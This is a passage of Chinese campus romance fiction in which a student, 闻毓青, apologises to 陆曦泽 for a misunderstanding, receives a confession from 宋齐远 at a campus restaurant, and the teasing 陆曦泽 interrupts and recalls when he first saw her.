但见过闻阿欢后,她算吃了颗定心丸。
邓硕人不怎么样,他老婆倒是明事理通人情,为人质朴,也不讲虚的,主动登门拜访,没等她抹开面子谈钱,就先说了以后每学期会给孩子打生活费。
如今再见到她女儿,姑娘挺乖的,有闻阿欢身上的那股简单质朴。
洪芳庆给她盛了碗山药排骨汤,“以后常来家里吃饭。”
送闻毓青出门时,她又像上次那样,给闻阿欢的女儿也送了几张游乐园今年发给员工的权益门票,“和你朋友去玩,这还能领甜品和套餐。”
闻毓青把票放进帆布包里,由邓灿霖送到了楼下,再次坐上他的黑色电摩。
夕阳映照,红绿灯旁的空地,倏地出现一只球鞋,一条大长腿支在地砖,装有辅助轮的花里胡哨的小电动车上,穿着年轻时髦的男生,戴着明黄色的头盔,屈居在狭小的座椅前。
画面不免有些滑稽,闻毓青投去打量的目光。
男生单手拧着把手,姿势闲散,头盔镜片没合上,他歪着脑袋,没什么耐心地望着倒计时的红灯。
绿灯亮,旁边的车随即先一步开动。
未拉上拉链的防风外套,在他身后鼓起,风里掀翻出的起伏的浪花。
小
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电动车的速度终究比不上电摩,很快他们就跃居前头,刚过完斑马线,身后响起长鸣的清脆如莺啼的车笛声,跟在后面的那辆电动车上,男生开口喊着,“灿霖哥!”
听见声音的邓灿霖刹车,停在路边。
身后那辆车骑过来,男生语气里带着点久别重逢的惊喜,“我一看你车就认出来了!老太太说你参军去了,什么时候回来的?”
“这学期就回学校上课了。”扫见电动车篮子里堆着的菜,邓灿霖爽朗地笑了笑,“又帮方老师跑腿呢。”
“可不。老太太这小破车太难骑了,压根骑不动。”
陆曦泽目光一偏,朝后座看去,坐着个女生,乖乖戴着全盔,脸侧对他,只露出透明防风镜片后的上半张侧脸。
哟,也是铁树开花了。
他随口道:“这你女朋友啊?”
下一秒,瞧见那只肩带光秃秃的、印着简笔漫画小动物的帆布袋,他眼眸微眯,视线上移,正巧对上女生扭过来的脸。
那双蹙眉的杏眼里,荡漾着微微的恼意。
陆曦泽愣了下。
但很快,十分确定地喊人:“闻毓青。”
闻毓青:“......”
裹成这样了,怎么认出她的。
邓灿霖意外道:“你们认识?”
“昂。”上次闻毓青挂电话前莫名其妙说的那句话,害陆曦泽琢磨了好半天,这会儿阳关大道上碰见,非得弄个清楚。
他看向闻毓青,径直问:“你上次为什么骂我?东西真不要了?我给你扔了?”
闻毓青咬咬牙,皮笑肉不笑,“不要了。”
邓灿霖不明所以,但大抵从剑拔弩张的氛围里,看出两人闹了点矛盾,“吵架了?”
“这人平白无故骂我不是什么好东西,你谁啊,敢这样说我。”他扯起唇角,哼了一声,“灿霖哥,就算她是你女朋友,我也是要讨回公道的。”
怎么会有这么不分场合的人?体面两个字,他可能永远不知道怎么写。
闻毓青出声:“...我不是。”
“不是什么?”
“不是他女朋友。”
他一顿,问邓灿霖,“她是你谁啊?灿霖哥。”
邓灿霖:“远方表妹。”
“哦,行吧,”他继续道:“咱哥从小正直,正好在这儿给主持个公道。”他目不转睛望着闻毓青,“你给个说法呗。”
僵持不下的时候,闻毓青看了眼手机,再拖拉下去,打工要迟到了。
她只想快点结束这场丢脸的闹剧。
咱哥咱哥的,不就是套近乎嘛,她也会。
她于是对邓灿霖说:“表哥,能帮个忙吗?”
邓灿霖怔了下,“你说。”听到闻毓青几句耳语后,端正的脸上浮现一抹憋不住的笑,应声:“行。”
见她半天不回应,陆曦泽挑眉,敢做不敢当是吧。
他倾身,屈指在她头盔上漫不经心地轻敲了两下,“喂,别缩在头盔里不说话——”
话音未完,指背塑料头盔的冷硬触感忽地消失。
电摩把手旋拧启动,车轮飞速转动起来,瞬间载着闻毓青扬长而去。
陆曦泽瞪大了双眼。
只见后座的人头也没回,扬起手,背对着他挥了挥。
他咬紧后槽牙,唇缝忍不住挤出一声低骂。
“......靠。”
19. 019
对付胡搅蛮缠的人,最好的方式,就是溜之大吉。
邓灿霖直接将送闻毓青到了店门口,他骑得快,到的时候,离她交班还有二十分钟。
闻毓青想请他喝点东西,但店里只有咖啡奶茶,邓灿霖不喝这些,闻毓青只好给他倒了杯热水暖暖手。
两人找了张桌子坐下落脚,邓灿霖手机收到一连串的语音条,外放给闻毓青听——
「灿霖哥你过分了啊,跟着她一起耍我!你这哪个疙瘩的远房表妹?没一点礼貌的家伙,随便就把人删了,你让她快点给我把事情说清楚了,话说一半算什么事...」
闻毓青皱起鼻子,好聒噪的一个人。
放了一条,她就让邓灿霖赶快收手,放过她的耳朵。
作壁上观之后,邓灿霖仔细盘问两个“弟弟妹妹”之间的恩怨,若不是刚才笑了下,他严肃的表情和声音,跟查案似的。
闻毓青一五一十地把事情告诉了他。
或许是因为邓灿霖方才配合她甩掉了狗皮膏药,闻毓青心里对他亲近了些,毕竟做选择的时候,他站在了自己这边,即便只是玩闹一般的恶作剧。
又或者,她只是想全盘托出,然后从他那里换取点信息,做更进一步的判断。陆曦泽一口一个灿霖哥叫着,想来是和他关系不错。
邓灿霖听完,喝了口水,甚是笃定地否认。
“不可能,小泽不是那样的人。”
他讲道理论证那般,先抛出总结,然后和她一板一眼地分析起来,“首先他肯定不会骗你的钱,他爸开建材公司的,他从小零花钱就多,这缺心眼的只会往外送钱。”
虽说现在房地产不景气,建材行业也受影响,但房市风口那会儿,陆曦泽他爸生意风生水起,往大了说排不上名号,但在宜江本地,到如今也算得上行业龙头。
邓灿霖和陆曦泽自小相识。陆曦泽爷爷奶奶都是老师,邓灿霖他爸是老师,两人曾同住在宜江实验小学的教职工小区里。从实小附幼到实小,陆曦泽总爱跟在他屁股后面,灿霖哥长灿霖哥短的。
上初中后,陆曦泽就没住在那儿了,邓灿霖之后也和父母搬到新购置的房子里,就是现在住的地方,离得不远,陆曦泽回来看爷爷奶奶的时候,经常约他出来打打球。
自己看着长大的弟弟,虽机灵贪玩,孩子气了点,但人品方面不会有问题。
邓灿霖说:“其次,他也绝对不可能是渣男,他从小就怕跟女孩玩,幼儿园总有小姑娘喜欢亲他抱他,他放学哭着跑我班里找我,那时跟个小豆丁一样,躲在我身后。他说我长得比较凶,能帮他挡人。”想到逗趣的往事,他笑起来,“这小子到现在还没交过女朋友。”
闻毓青听着,忍俊不禁。
同时感到难以置信,在酒吧的时候,他分明在女生堆里十分游刃有余,以至于让她有种,任何渣男做派的头衔按在他身上都看着很合理的,错觉。
难道真的是她的错觉?
其中有什么误会?
那天从旁敲击地询问宋齐远,闻毓青并未得到意料之内的风评,相反的,即便宋齐远说自己和陆曦泽产生过不愉快,也没说他半句坏话,只陈述了一个不争的事实:陆曦泽桃花运一直很旺,经常有人向他表白。
可这又不是他的错...
脑中交织着邓灿霖和宋齐远的话,想到自己对陆曦泽误判的种种,闻毓青抿唇,由衷向邓灿霖道:“谢谢你告诉我这些。”
-
兼职下班,回学校的路上,她在最近添加里把陆曦泽的微信加了回来。
不拖泥带水的,立刻敲字。
闻毓青:「我向你道歉。」
闻毓青:「对不起。」
闻毓青的世界没那么复杂和曲折,通常都很简单直白:想要收获就努力耕耘。错了就认。不足就改进。不行就再来。
所以,承认自己对别人产生了误解,然后说句对不起,这对她而言很简单。
不觉得难为情,是应该的。
陆曦泽那边过了半小时,才回她,没表情的文字也透着一副吊儿郎当的拽拽姿态。
LXZ:「哦,对不起我什么了?」
他刚洗完澡,干毛巾披在湿发上,靠在床头边擦头发边回复消息。
LXZ:「怎么想通的,灿霖哥跟你说什么了?」
闻毓青:「我之前确实以为你骗我钱」
LXZ:「你哪只眼睛看我像骗子?」
闻毓青:「...你自己想想,你给了我留了什么好印象?」
陆曦泽还真细想起来,笑了笑,抢摩天轮轿厢那会儿,这姑娘就对他没什么好脸色,确实真不能怪她,他的确插队了。后边遇上了,又满嘴跑火车的,说下巴整容什么的鬼话,看她一愣又一愣的,他当时只觉得她挺好逗,是个傻的,估计都信了。
LXZ:「行吧,原谅你」
闻毓青:「还有就是,我骂你是因为,我那天在酒吧楼下看见一个女孩子在你跟前哭,以为你是那种不负责任的渣男,但你的灿霖哥说你不是那种人,我想可能有什么误会吧。如果不是,我真心向你道歉。」
只消一眼,陆曦泽当即炸了。
LXZ:「?????????」
LXZ:「你还跟灿霖哥造我谣?」
LXZ:「这么大的误会,你想轻飘飘道个歉就了事???」
闻毓青:「...你想怎样?」
LXZ:「闻毓青我跟你说,得亏我哥信得过我,不然你得被我告」
LXZ:「写封道歉信,当面给我」
闻毓青:「......」
LXZ:「你就这态度?」
闻毓青:「写。」
LXZ:「这位朋友看起来情绪很大嘛,怎么着,不服?」
闻毓青:「我写~」
LXZ:「再请吃几顿大餐,赔礼道歉,物质表示得有吧」
闻毓青:「一顿」
LXZ:「这么抠?」
闻毓青:「怕你吃穷我」
LXZ:「三顿」
对面迟迟不回,他不急,悠哉悠哉擦头发,顺便抽空翻了翻她的朋友圈。
最新的一条发布时间是前几天的凌晨,一张照片拍的门锁,一张截图的晚归登记,配了个微信自带的小企鹅蹦蹦跳跳的表情。
哪来的小傻子,晚归被记还这么开心。
屏幕弹出消息页小框,他勾唇,点开看。
闻毓青:「...两顿」
LXZ:「好,成交」
-
宜大的西餐吧,闻毓青和陆曦泽约的请客地点。
陆曦泽昨晚甩了条人均一千五的法餐店链接给她,闻毓青尬笑一声,他还真看得起她。
她委婉称这些东西又贵又不管饱,换一家接地气点的。陆曦泽嘲笑她没品味,店里的厨师可是米其林法餐大厨,去那里是感受氛围、品鉴料理精细程度的,管饱这种话说出来招笑。
闻毓青嘴角一抽,只想冷笑。
没招了,最后清楚明白地告诉这位不食人间烟火的大少爷——
她不是没品味只是没钱,虽然没到请不起的程度,但不打算这样花钱如流水。因为请他吃这顿饭得用掉她一个多月兼职的薪水。打肿脸充胖子只会让她事后难受,所以只能请他吃她经济范围内能承受的店,这种细糠以后他自己慢慢去品吧。
大概被她的直白震慑了,陆曦泽那
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边半天没回。
良久后发来一条消息:「那你定」
她当然选经济实惠的,宜大西餐吧多好,还近,吃完就能走回图书馆,省钱省时省事。
怕去晚了要等座,闻毓青下午很早就离开阅览室,先去占个位置。
图书馆外是一条落羽杉大道,两边穿插种植了枫树,穿行其间,满目皆是层次丰富、不同样态的浓烈红色。
每次路过这里,她总是走得很慢,放空而放松地仰头,任由一株株笔挺树木的叶片和每天都不尽相同的变幻云彩,轻轻拂过她的双眼。
脚步停滞,视线里出现一只挥动的细嫩纤手。
女孩拦住闻毓青,询问:“同学,能帮我和男朋友拍几张合照吗?”
闻毓青点了下头,接过相机。
女孩怕她不会用,正要教她怎么看目镜怎么按快门这些基础操作,闻毓青笑了笑说她会用,女孩高兴地说了句好,放心把相机交给她了。
相机开着P档,闻毓青问她能不能自由发挥,女生说没问题,于是她调回M档,调了下光圈快门这些参数。路上人多,背景杂乱,她换了几个角度,好让构图漂亮一点。
她在镜头后出声,提醒多换几个动作。两个人表情动作都很自然,不抗拒镜头,看样子是经常拍照的,闻毓青无比丝滑地为他们拍了几组照片。
女生凑过来检查成品,惊喜地两眼放光,请求她,“能再帮我们拍一些吗?”
“可以啊。”给他们拍照很轻松,闻毓青毫无犹豫地答应了。
拍完照片,女孩喜滋滋地捧着相机,一张张看过去,眉梢嘴角都是满意的笑,最后还加了闻毓青的微信。
小情侣是来宜大拍照打卡的,问她有黑天鹅的人工湖怎么走。
闻毓青食指转了一圈,回过头指路,“往那儿——”话音磕绊一瞬,目光顿在落羽杉树下的那道清隽的身影上,她眨了眨眼,继续道:“直走到十字路口,右拐。”
女孩谢过她,挽着男友的手离开。
闻毓青视线偏移,望向眼前的男生,闲谈般开口:“怎么也这么早下来吃饭?”
宋齐远笑意款款走来,边缓缓摇头,“我是跟你下来的。”
“嗯?”闻毓青不解地看着他。
男生眉宇温润,面容俊朗,穿着一身卡其色工装风衣内搭衬衫,金丝框眼镜。
平心而论,宋齐远穿搭和气质,一直很有校园里温柔学长的感觉,但今天的他打扮得似乎格外精心,甚至用发蜡抓了发型。
她随口问了一嘴,“你今天是有什么面试吗?”
他抿唇思索,不紧不慢地说着,“如果约你吃晚餐算的话,那应该是有的。”
闻毓青呆住,更迷茫了,脑中闪过那些曾经她觉得难为情的种种猜测,第一想法是:不会吧。
分明不是悸动,但很莫名的,心跳在这时速度加快了。
一种从未有过的紧张感受,让她僵在原地,久久不知如何开口。
宋齐远体贴地问:“我们找个地方坐下?”
坐进了闻毓青预备去的这间西餐吧里。
宋齐远先是点了比较快上桌的两杯饮品,然后问她想吃什么。
闻毓青说不用了,她其实晚上约了人在这里吃饭。
“看来我没选对时间。”宋齐远苦恼地笑起来,而后专注地望对面那双不自觉微垂的眼睛,眸中闪烁期待的目光,他轻声问:“留给我的时间还有多久呢?”
预感到有可能发生的事,闻毓青感到头皮发麻,有些坐立不安。
手机有新消息,她忙点开——
LXZ:「我快到了,你到哪儿了」
LXZ:「请客的可别迟到啊,闻毓青!」
20. 020
才五点多,催什么催。
闻毓青在心里吐槽他,但还是感谢陆曦泽消息来得及时。
毕竟拯救了此刻高度紧张的她。
她低下脑袋,分神回复了一条「你到了先自己找个空桌坐!」过去,对面随即回了一串问号过来,她又反弹回去。
并且再次提醒:「门口靠窗应该还有空桌,你坐那里景色好...」
LXZ:「你当和你约会呢,还靠窗景色好,咱俩用不着这么暧昧」
闻毓青:「.......」
她心里咆哮:你以为去吃你说的什么氛围、环境、摆盘、料理精细度和一堆破讲究的米其林法餐就不暧昧了吗!
意识到把人晾了半分钟,她随即息屏,抬眼朝宋齐远笑了笑,“他快到了。”
开口说话时,状态恢复自然,大脑被岔开会儿注意力,没方才绷得那么紧了。
“好吧。”宋齐远无奈地耸了下肩。
他此言一出,闻毓青莫名庆幸,心里已经做好说再见的准备了,没想到他紧接着说:“我约你来这里,你可能猜出我想说什么了。”
“啊?”她愣是真的愣,而后也是故意装傻:“我怎么会知道...”
“还记得那次从图书馆出来,在梧桐大道上我突然说‘挺喜欢你’吗?”宋齐远不介意她的回答,转而提起这件事,同她解释:“那天,我并没有在开玩笑。”
闻毓青呆住,眼睛微微睁大,说不出话。
她整个人都乱了,脑中瞬间群蜂倾巢而出,回荡着嗡嗡的杂音。
所以......让她云里雾里地猜测许久、想要开口问清楚却又担心自作多情而强硬按捺住的,那句那句“毓青同学,其实我挺喜欢你的”,并不是她会错意了。
原来那的确是她人生头一次被表白的时刻。
只是很突然,有头没尾的。
如同抛出的一个线头,她茫然地拾起一段线,等待另一边有人整理收线,但这个线头却好像被人遗忘在了原地,最后不了了之。
未料到收线的时间,会在如今不期而至。
喉咙声带在静默中生涩发紧,她吞咽一下,不自然地说道:“我还以为...是我自恋了。”
他抱歉地浅笑,“那次太突然了,没想太多,心里的话就脱口而出。我一直想找个机会正式和你表达心意,这次虽然有些仓促,但我们都坐在这儿了,我还是不想让这个机会溜走。”
“可我们才认识几个月,而且...也没多少交集。”
闻毓青感到无措而困惑,抿着唇,脸颊不知是羞涩还是憋红的。
“喜欢你的优秀女孩应该不少吧。”她抓了下头发,无所适从道:“你怎么会喜欢我呢?”
宋齐远语气温和:“不用有压力。”
闻毓青的表情看起来是认真在思考,方才混杂在紧张感之中的一丝羞赧,此刻也湮灭在微蹙的眉头间,仿佛正在研究一道做不出来的题。
他不紧不慢地开口,似是为她分析拆解,讲清题意,“我明白你的意思,现在谈喜欢还很浅,或许我换个表达方式更合适,我对你有好感,现在向你释放信号,希望我们可以有更进一步了解彼此的可能,而不是仅仅停留在朋友层面的相处。如果我的喜欢让你感到困扰的话——”
“没有没有!”他怎么说这种话呢,闻毓青急忙摆手,打断他,毫无遮掩地剖白,“其实这是我第一次收到异性的告白,对方还是个很优秀的男生,是我该受宠若惊才对。”
女生捏着手指,视线落在他面前的餐桌布上,如果不是卡在身前的桌子挡住高度,上半身就差给他九十度鞠躬了。
她诚恳道:“谢谢你的心意。”
这番道谢正经得可爱,宋齐远忍不住笑了一会儿,才开口问。
“那么你呢,对我有什么感觉吗?”
“呃...”闻毓青支支吾吾:“你很好。”
“是要给我发好人卡?”
“我......”她顿住。
闻毓青没向谁告白过,无法体会被有好感的人拒绝是什么感受,只不过,要说no的人变成自己,这份拒绝好像显得有几分不识好歹了。
“我的意思是,你很好,”她垂眸,小心翼翼道:“是我不值得你的喜欢。”
无论如何,让人难堪的话,怎么也无法从闻毓青的嘴巴里径直说出,要绕很多很多弯,弯曲柔和到没有任何伤人的棱角才可以。
哪怕是用这种自贬的话。
反正说出来,她也不会少块肉,让对方心里舒服点才是最重要的。
“所以你并不反感我的好感,是吗?”宋齐远问。
她懵懵掀眼,“嗯...?当然没有。”
“那就好,”他松了口气,“既然如此,毓青同学,能不能给我个机会追你?”
闻毓青唇齿微张,依然是茫然无措的模样。
追...追她吗?
甚至心里重复一遍,都觉得难以启齿,实在太难为情了。
这种偶像剧式的告白桥段、教科书般循序渐进的追求方式,安插在她头上,怎么都有种不协调的感觉。朴素路人被一把拽进浪漫华美的片场,第一反应竟然是躲避镜头。
可是被认真对待的那份珍贵心意,又蓦地令她心间一暖。
宋齐远是一个很好的人,才会给足了她尊重和体贴。
在他耐心的等待下,她缓缓开口:“我——”
“呲拉——”
椅脚划过地面的刺耳摩擦。
尖锐声音之后,再次侵入鼻子这一感官的是饱满浓烈的橙花香气,闻毓青倏地抬眼,目光随着那道劲挺的身影而落座于身旁的铁艺靠背椅。
“请客就请客,怎么还喊了个人来蹭饭?”
陆曦泽大大咧咧坐下,似乎并未意识到,自己是当下场合里,突兀的闯入者。瞧见宋齐远,扬起手挥了挥,态度散漫地打了声招呼,“嗨。”
宋齐远见到他,脸色随即沉下来,撇开目光,不再多看他一眼。
只是不动声色地看向闻毓青。
闻毓青一脸问号地望着陆曦泽,搞不懂他什么眼力见?现在还早,店里明明很多空桌,而且她都发消息再三提醒了,他干嘛还要坐过她这边来。
对面的目光正无声落在她身上,默然询问着现在什么状况。
她抬起唇角,牵强地笑了下,对宋齐远说:“我今天请他吃饭。”
宋齐远的笑也勉为其难,面色实在不好看。
现在不管她主动开声让谁先走,都有点尴尬,比起旁边这位不通人情事故的大少爷,明显宋齐远情商更胜一筹,没让她在这时为难,主动起身道别,“我先走了。”
闻毓青抿唇,“不好意思啊。”
“没什么。”他温文尔雅地微笑,仍旧很有风度,“别忘了,我在等你的回答。”
服务员端了两杯饮品过来,摆在了桌子中央。
“喝哪杯?”
陆曦泽推到闻毓青跟前,她随手拿了一杯橙汁,剩下的那杯他便拿去喝了。
边喝着,边语气自若地问:“要答应他吗?”
闻言,闻毓青一口橙汁差点呛着,“你什么时候到的?”
“到店门口就给你发消息了,你说呢?”他努了努下巴,旁边那张桌子的椅子上还挂着个运动挎包,他长臂一伸够回来。
她完全没注意到他就在旁边,“你故意坐过来的?”
陆曦泽理所当然道:“宋齐远废话太多,啰里八嗦的,我饿了,自然得来找你开饭了。”
“你懂的吧,”闻毓青咬唇,指尖点了点手机,“微信是可以发消息、打电话和打视频的。”
陆曦泽嫌弃地瞅她一眼,“难道你认为,你比宋齐远好得到哪里去?喜欢
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就喜欢,不喜欢就不喜欢,磨磨唧唧的,半天憋不出一个屁。”
“知道刚才你那样像什么吗?”耳朵连着脸颊,涨红了一片,在空气里好像也忘记能呼吸,他自问自答:“像鱼缸里憋气缺氧的金鱼,再憋下去都快翻肚皮嘎了,你该感谢我出面拯救你。”
闻毓青无语地呵呵两声。
陆曦泽吸溜一口饮料,问:“这气泡水挺好喝的,你点的什么?”
“我不知道,宋齐远点的,你看菜单照片对对。”
“那就很一般了。”
“......”闻毓青低声说他,“幼稚。”
陆曦泽扫桌角的点餐码看菜单,随口问:“你喜欢他吗?”
“不知道,我根本就没往那儿想。”
她抿了口橙汁,下意识摇头,回复他。
随后一愣,才反应过来,心道关他什么事,自己怎么顺杆就爬,还和他聊起来了。
“你根本就不喜欢他。”他言之凿凿。
闻毓青奇怪地瞥他,“我自己都不清楚的事,你凭什么这么确定?”
陆曦泽笑,“那你现在想,喜不喜欢?”
“我干嘛要和你聊这些?”闻毓青不想搭理他的八卦问题,言归正传,“想吃什么快点,吃完我们赶紧走。”
“人刚坐下,你催什么催。”
他扫了两眼菜单,千篇一律,随便点了几道图片看得顺眼的菜,然后让闻毓青点她的。闻毓青扫码,点餐页面的已点菜品图标处显示数字3,疑惑地点开看,发现他才点了几样小菜。
于是和他说:“你不多点一点么?在这里吃你就放心点,不用替我省钱。”
陆曦泽眉毛拧起,眼底是“你在自作多情什么”的迷惑神色,“我只是觉得这家餐厅很一般而已。”
“......”闻毓青也才来吃过一次,问他:“你来这儿吃过吗?店是这学期新开的。”
“没啊,”他想当然道:“不过从这一般的饮料就可见一斑。”
闻毓青一时无言:“......”
找茬也没这么用谐音梗硬找的,反正她觉得这家店挺好吃。
特别是店里的酥脆鸡排,表皮炸粉抹得均匀,油炸出来是薄薄一层金黄色酥皮,里头的肉质鲜嫩多汁...闻毓青只是看到照片,就忍不住吞咽口水,于是下单加了两份,又点了些别的她觉得好吃的漂亮菜。
等待上菜的间隙,两个人默契难得在此刻体现,反正没什么共同语言,心照不宣地各忙各的,一个在刷手机,一个戴耳机听音频,在手机记事本上做听译。
哪里不对劲,闻毓青突然皱着眉。
按理说,他认识宋齐远,也认识她,但却不知道她和宋齐远认识,为什么遇见今天的场合,他的反应这么平淡,没一点惊讶,甚至还自然而然地和她聊起来。
“陆曦泽。”她喊他。
遮挡住那张锐利张扬脸庞的手机,往旁边移了点,男生略歪头,挑眉望过来,“干嘛?”
“你为什么不问,我和宋齐远怎么认识的?”
一截手臂支着侧脸,男生立体深邃的眉眼,直勾勾盯着她,在她从错开角度的对视中败下阵来、扑撒好扇睫毛慌乱挪远视线时,唇角不由勾起钩子般的弧度。
他笑得有点顽劣,肩胛舒展前抻,似动物往前攻击的起势。
凑得更近些,他慢悠悠反问她。
“我为什么要问这些?就这么希望得到我的关注啊闻毓青。”
被他的不要脸噎住,闻毓青语气有点气急败坏,“因为你话多啊,不问都不像你!”
“哦,”尾音欠揍地上扬起来,自带小波浪,“才几天就这么了解我了。”
闻毓青不说话了,端起橙汁,当一头凶猛吸水的河马。
男生低声笑,不逗她了。
坦白道:“我的确知道,宋齐远喜欢你。”
21. 021
这学期的课,陆曦泽还是有兢兢业业来报道的。
他这人虽看着不着调,该重视的事,到了要做的时候,是会放在心上的。
按家里老太太的说法是:别看我们曦泽吊儿郎当的玩心重,临到正事,心里可拎得清,不说多拔尖,好歹也像模像样地给做完了,从小到大也就这点最好。
去掉那个“也就”的话,陆曦泽还挺认同。
这大概和他妈小事放养大事引导的教育作风沾了关系。
大四上学期专业课不多,教室里基本空了大半,临近毕业关头,大家都在忙着为下一步的前途而做打算,实习的实习,备考的备考。最后这年的成绩起不上什么扭转乾坤的大作用,于是那点平时分也不在乎了。
每年应届毕业生的常规操作,老师习惯了,睁只眼闭只眼,欣慰地望着教室里坚守的学生,连平时分占比都给的比以往大方。
作为班里罕见的四不学生,舍友路科和陆曦泽一样,两人都不考公不考编不考研不出国,平时课堂凑一桌坐着。
目的一致,为了混最后一年的绩点。
课听不听无所谓,关键是最后的成绩得好看点。路科打算毕业之后gap一年,环游世界,父母支持。陆曦泽则是走一步看一步,毕业进程被推迟了半年,任何计划都施展不开,或许之后会申请国外的学校,不过那也是一年以后的事。
总而言之,大四这年的绩点对他们俩而言,仍旧有那么点价值。履历上关于就业的内容一片空白的话,只能从其他地方找补回来一些。
第一次见到闻毓青的时候,是这学期一个稀松平常的傍晚。
前段时间换季降温,路科得了流感,传染给了他,两个难兄难弟戴着口罩上了几天课,鼻子都快擦破皮了,终于认降,不再以钢铁意志和脆皮身体去与病毒负隅顽抗。
两人老老实实地去医务室买了药,路过计信楼大厅,陆曦泽去售卖机扫了罐气泡水,准备去食堂吃晚饭。
路科突然鬼鬼祟祟地拍他胳膊,小声道:“看前面!”
陆曦泽抬眼望去,隔着一段路距,宋齐远朝他俩迎面走来,和旁边一个他不认识的女孩,正并肩走在落羽杉大道上散步。
“干什么?”他问。
“宋齐远和萧依卓分手了,你知道不?这个女生好像是他新女朋友,我食堂偶遇过好几次。”
陆曦泽轻呵,他俩分手的事,他不想知道也早知道了。
但他对宋齐远的事没半毛钱兴趣,淡淡嗯了一声,倒是路科,兴奋得如同瓜田的猹。
“好家伙,这么快就谈上新的了!学习恋爱两不误哇。”而后非常丝滑地,路科问起那句,他从大一问陆曦泽问到大四的问题:“你觉得这女的长得怎么样?”
陆曦泽:“......”
大学这几年,路科凡事手机上刷到个美女,总要拿给陆曦泽看,像只苍蝇一样,嗡嗡嗡地重复类似的话“长得怎么样”、“有没有心动的感觉”。陆曦泽让他滚,他滚了之后下次又滚回来。
“你什么毛病,自己没长眼?”陆曦泽没好气道:“要不我打个车送你去眼科?”
路科咧嘴一笑,促狭地看他,面相都变猥琐了,“哥们儿问你个问题。”
“有屁快放。”
他搭着陆曦泽的肩,聊什么秘辛似的,悄声问:“我们都猜好几年了,今儿你实话跟我说,咱这性取向到底——”
“你放什么狗屁呢?”
陆曦泽屈肘顶开他,路科捂着肋骨,吃痛地啊了一声。
如同看弱智那般的眼神,他无语地望着路科,一字一句道:“老子是直男。”
“嘿嘿,早说嘛。”路科嬉皮笑脸地打哈哈,“我也是关心你的恋爱大事嘛,按道理你这条件,不应该寡了快四年啊,这能不让人多想?”
陆曦泽扯扯嘴角,“知道人脑和猪脑的区别是什么吗?”
路科:“嗯?”
“人懂得用脑子思考,不会非黑即白,非此即彼。别用你狭隘的大脑编排洁身自好的大帅哥,知道不?”
这人一向很有自知之明,路科早就对他的极度自恋免疫,“呵呵。”
距离越来越近,女生的脸越发清晰,比之前在食堂远远撞见的模糊面容更真切了,路科盯着瞧了几眼,得出结论,“没萧依卓好看。”又寻求意见悄声问:“你觉得呢?”
“又不是我女朋友,跟我有什么关系?”
他头也没抬,单手勾指,启开罐装气泡水的拉环,耳边倏地传来一句——
「毓青同学,其实我挺喜欢你的。」
呲呲呲,绵密微小的气泡一粒粒爆裂,分明是液体,却仿佛在灼烧金属瓶口。
在贩卖机里滚过几圈,罐内不稳定的气体,带着白色气泡滋滋往上涌,瓶口溢出了少量黏腻的液体,沾到他的虎口。
不过,陆曦泽无暇顾及这点水渍。
他蓦地抬眼,望向对面并未注意到他的两人。
敢情他们还没在一起,路科情报有误啊,方才那句话瞬间盘活了他那颗原本寡淡的八卦之心,撞见好戏,他自然是饶有兴趣地等着下文。
恰是此刻,视野里出现一张堪称惊恐的表情包,眼睛瞪得像铜铃,像是听见什么鬼故事。
呆若木鸡的样子,怎么看都好笑,他没憋住。
连轻笑都不免有些声张。
侧目的宋齐远这时回过头来,看见他们,一愣,旋即恢复正常,朝路科笑了下,看见他的口罩,寒暄问:“感冒了?”
“是啊,流好几天鼻涕了。”路科和他闲聊,“你今晚吃啥?不知道瓦罐汤档口还有没有了,今晚喝点汤暖暖...”
陆曦泽站边上没说话,虎口的黏腻感不舒服,想赶紧擦掉。眼看着路科就这么聊起来,他眉头微蹙,吸溜了一下鼻子。
隔着口罩,鼻音很重地开口打断他:“有纸没?”
“我看看,”路科摸口袋,“用完了,等会儿去食堂买几包。”
“那还不走。”
擦肩而过的时候,陆曦泽余光瞥见,女生低着头,从帆布包里掏东西,启唇欲喊住他的动作,在扫见他们离去的身影后,停住了。
走了几步,他再回过头,见到的是她把一包小抽纸塞回帆布包里。
“你刚笑啥?”路科问。
陆曦泽拉紧帽子的松紧带,反问:“不好笑吗?”
路科:“好笑的点是...?”
“看见那女生的脸了没,”陆曦泽幸灾乐祸地笑起来,“宋齐远跟她说喜欢的时候,她跟见鬼似的。”
“......”哎呀呀,什么仇什么怨这是。
路科至今不明白陆曦泽和宋齐远怎么闹僵的,这两个人在学院里都是叫得上名号的人物,不知从何时起,见面跟陌生人似的。
他打探道:“前两年你们关系不错,发生啥了,现在话都不说了。”
“关你什么事?”
陆曦泽自顾自往前走。
路科之前肤浅的问题,他最后也没能给出回答。但如果,非要谈起他对闻毓青的初印象是什么的话,只有两点——
好笑。没眼瞎。
看不上宋齐远的姑娘,当然是有眼光的。
...
听陆曦泽提起这件事,闻毓青恍然大悟,他就是那天碰见的两个男生之一。
当时她仍处在震惊的余韵之中,压根没怎么看他们。
“你在摩天轮的时候就认出我了?”
陆曦泽一顿,简单回:“倒是没立刻认出来。”
说实话,这位最开始留在他记忆里的脸,就只是傍晚路灯照亮的一个表情包而已。是后边越看越觉得哪里见过,才想起来的。
菜陆陆续续上齐,闻毓青招呼:“开吃吧。”
他每样菜都只尝了两口,把那切成条的碟酥脆鸡排给吃光了,她心里颇为满足,招牌菜之所以成为有招牌菜,是有其道理在的。
难得有他喜欢的,她把自己那份推到他面前,问:“够吃吗?要不要再点?”
“行了,再点喂猪了。”态度倒是诚恳周到,生怕他吃不饱,陆曦泽视线扫向桌面,把碟子推回去,“你自己吃。”
然后意思意思地叉了块烤羊排到盘里,极其有闲情雅致,不紧不慢地用刀叉剔下附着在骨头上的肉打发时间,等对面的女生慢慢吃。
“那是我朋友,和我没关系,懂吗?”
闻毓青正咬着只芝士盐焗虾,抬头,“啊?”
“你那晚看见的女生。”
“噢....”她点点头,其实心里有
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许多问题,但也只问了句,“她还好吗?”
“应该还行吧。”
小夏去过医院后,陆曦泽发过消息问候过,之后就没再联系了。经过闻毓青一说,他又点开微信联系小夏,问问她找没找戚志杰还钱。
没立刻得到回复,他放下手机,继而正经道:“作为朋友,我奉劝你几句。”
“我们是朋友了?”
忽然被呛,陆曦泽眼神幽幽看向她,批评道:“说正事,别捣乱。”
闻毓青心底无所谓,和他能有什么正事说。
但还是放下虾,端正坐姿,笑吟吟地回:“你请说。”
“你和宋齐远不合适,他这人最在乎的是自己,你俩要是在一块,他分分钟拿捏你,你得吃亏。”
闻毓青迷惑,别的不说,她有什么亏可吃的,而且,“谁最在乎的不是自己?”
